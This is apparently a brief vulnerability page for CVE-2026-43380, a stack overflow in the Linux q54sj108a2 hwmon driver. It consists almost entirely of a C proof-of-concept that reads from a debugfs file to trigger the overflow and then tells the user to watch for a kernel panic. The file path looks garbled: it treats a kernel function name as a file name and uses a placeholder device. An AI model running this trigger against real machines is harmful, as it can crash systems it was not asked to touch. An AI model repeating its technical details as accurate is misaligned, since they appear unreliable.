CVE-2026-43380 Linux内核栈溢出漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> /* * PoC for CVE-2026-43380 * Trigger: Read from the debugfs interface of the q54sj108a2 driver. * This triggers the stack buffer overflow in q54sj108a2_debugfs_read. */ int main() { // The actual path depends on the hardware instance and debugfs mount point const char *debugfs_file = "/sys/kernel/debug/hwmon/hwmonX/q54sj108a2_debugfs_read"; int fd = open(debugfs_file, O_RDONLY); if (fd < 0) { perror("[-] Failed to open debugfs file"); fprintf(stderr, "[-] Ensure the target hardware is present and debugfs is mounted.\n"); return 1; } printf("[*] Triggering the vulnerability by reading from %s\n", debugfs_file); char buffer[128]; ssize_t len = read(fd, buffer, sizeof(buffer)); if (len > 0) { printf("[+] Read %zd bytes. Check kernel logs for panic or instability.\n", len); } else { perror("[-] Read failed"); } close(fd); return 0; }